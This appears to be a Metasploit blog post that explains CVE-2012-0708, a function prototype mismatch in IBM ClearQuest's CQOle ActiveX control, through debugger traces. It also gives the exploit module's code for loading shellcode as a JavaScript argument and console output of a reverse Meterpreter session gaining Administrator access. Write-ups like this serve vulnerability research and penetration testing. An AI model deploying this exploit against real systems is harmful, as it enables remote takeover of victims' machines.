People often refer to exploits as your good old buffer overflows, but that's not always the case, as there are so many different types of vulnerabilities out there waiting to be found. One exploit in particular, is the IBM Rational ClearQuest -- CVE-2012-0708 -- which we've recently added to the Metasploit Framework. This module exploits afunction prototype mismatch flaw in IBM's CQOle ActiveX control, discovered by Andrera Micalazzi aka rgod, and we figured the details are worth sharing.
The problem arises when you try to call the RegisterSchemaReporFromFileByDbSet from the ClearQuestOleServer.Session control (clsid 94773112-72E8-11D0-A42E-00A024DED613), and it has the following prototype:
- Function RegisterSchemaRepoFromFileByDbSet (ByVal dbset As String , ByVal filePath As String) As String
Really the RegisterSchemaRepoFromFile is going to be called, where the prototype is slightly different:
- Function RegisterSchemaRepoFromFile (ByVal filePath As String) As String
There is a difference between these two separate functions. Even though they both are responsible for cleaning the arguments from the stack, the rets are different:
- RegisterSchemaRepoFromFileByDbSet: retn 8
- RegisterSchemaRepoFromFile: retn 4
With this in mind, let's review what happens at the assembler level when RegisterSchemaRepoFromFileByDbSet is called (from javascript as sample):
- Because of the function prototype mismatch the similar function RegisterSchemaRepoFromFile (and not RegisterSchemaRepoFromFileByDbSet) is called:
Breakpoint 0 hiteax=3190b1a0 ebx=00000000 ecx=06bf5cf0 edx=7835f5d2 esi=0013e200 edi=0000000ceip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0 nv up ei pl nz na pe ncMFC80U!_AfxDispatchCall+0xe: 78371062 ffd0 call eax {cqole!OAdScs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ession::RegisterSchemaRepoFromFile (3190b1a0)}
- But there are two arguments on the stack! The ones from RegisterSchemaRepoFromFileByDbSet!
0:000> dd /c1 esp L20013e204 0615b4500:000> du 0615b0013e208 0615b470 4500:000> du 0615b4700615b450 "dbset value"0615b470 "filePath value"
- The ret from RegisterSchemaRepoFromFile is hit and it is going to clean just one argument even when there are still two arguments (pointers) on the stack:
0:000> g(d7c.b54): C++ EH exception - code e06d7363 (first chance)Breakpoint 1 hit00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c eip=3190b5d9 espeax=01dae7cc ebx ==0013e200 ebp=0013e2b4 iopl=0 nv up ei pl nz na po ncefl=00000202 cqole!OAdSession::RegisterSchemaRepoFromFile+0x439: 3190b5d9 ccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 20400 ret 4 0:000> dd /c1 esp L3 0013e200 78371064 0013e204 0615b450 0013e208 0615b470 0:000> du 0615b450 0615b450 "dbset value" 0:000> du 0615b470 0615b470 "filePath value"
- Since the callee (RegisterSchemaRepoFromFile) has not cleaned the two arguments from the stack it is going be misaligned. Once back on MFC80U!_AfxDispatchCall its ret is reached with the stack misaligned and ESP pointing to the second argument of the intended RegisterSchemaRepoFromFileByDbSet call:
0:000> teax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000ceip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0 nv up ei pl nz na po ncMFC80U!_AfxDispatchCall+0x10: 78371064 c3 ret 0:000> dd /c1 ecs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 sp L2 0013e208 0615b470ue"0013e20c 7835f5d2 // It is in fact the legit ret address 0:000> du 0615b470 0615b470 "filePath val
- And there is where ret from MFC80U!_AfxDispatchCall tries to redirect EIP
0:000> teax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000ceip=0615b470 esp=0013e20c ebp=0013e2b4 iopl=0 nv up ei pl nz na po nc0615b470 66006900 add byte ptr [ecx],ch ds:0023:a265eb6f=cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ?? 0:000> db eip61 00 6c 00-75 00 65 00 00 00 2e 00 .v.a.l.u.e.....0615b470 66 00 69 00 6c 00 65 00-50 00 61 00 74 00 68 00 f.i.l.e.P.a.t.h. 0615b480 20 00 76 00
- The result with an string like the one before ("filePath value") is a crash when it is tried to be interpreted as code:
0:000> g(d7c.b54): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.0070001 esi=0013e200 edi=0000000c eip=0615b470 esp=0013e20c ebp=0013e2b4 iopleax=01dae7cc ebx=00000000 ecx=a265eb6f edx= 0=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 0615b470 66006900 add byte ptr [ecx],ch ds:0023:a265eb6f=??
With this explanation in mind, exploitation without DEP is straightforward, just call to RegisterSchemaRepoFromFileByDbSet with an string containing the shellcode as second argument:
- js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch))
- object_id = rand_text_alpha(rand(8) + 4)
- dbset_value = rand_text_alpha(rand(8) + 4)
- var_payload = rand_text_alpha(rand(8) + 4)
- html = <<-EOS
- var #{var_payload} = unescape("#{js_code}")
- #{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload});
- EOS
And then of course, we finish off the vulnerability with a shell:
msf exploit(clear_quest_cqole) > exploit[*] Exploit running as background job.157:4444 [*] Using URL:[*] Started reverse handler on 192.168.1[*] Local IP: http://192.168.1.157:8080/zCEVdD[*] Server started.msf exploit(clear_quest_cqole) >[*] 192.168.1.133 clear_quest_cqole - 192.168.1.133:2340 - Sending html[*] Sending stage (752128 bytes) to 192.168.1.1334 -> 192.168.1.133:2341) at 2012-07-08 20:41:23 +0200 [*] Session ID 3 (192.168.1.157:4444 -> 192.168[*] Meterpreter session 3 opened (192.168.1.157:44 4.1.133:2341) processing InitialAutoRunScript 'migrate -f' [*] Current server process: IEXPLORE.EXE (3380) [*] Spawning notepad.exe process to migrate toInfor[+] Migrating to 4028 [+] Successfully migrated to process msf exploit(clear_quest_cqole) > sessions Active sessions =============== Id Type mation Connection -- ---- ----------- ----------t(clear_quest_cqole) > sessions -i 3 [*] Starting interaction with 3... meterpreter > getuid Server username: JUAN-C0DE875735\3 meterpreter x86/win32 JUAN-C0DE875735\Administrator @ JUAN-C0DE875735 192.168.1.157:4444 -> 192.168.1.133:2341 (192.168.1.133) msf explo iAdministrator meterpreter > ;
Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.
COMMENTS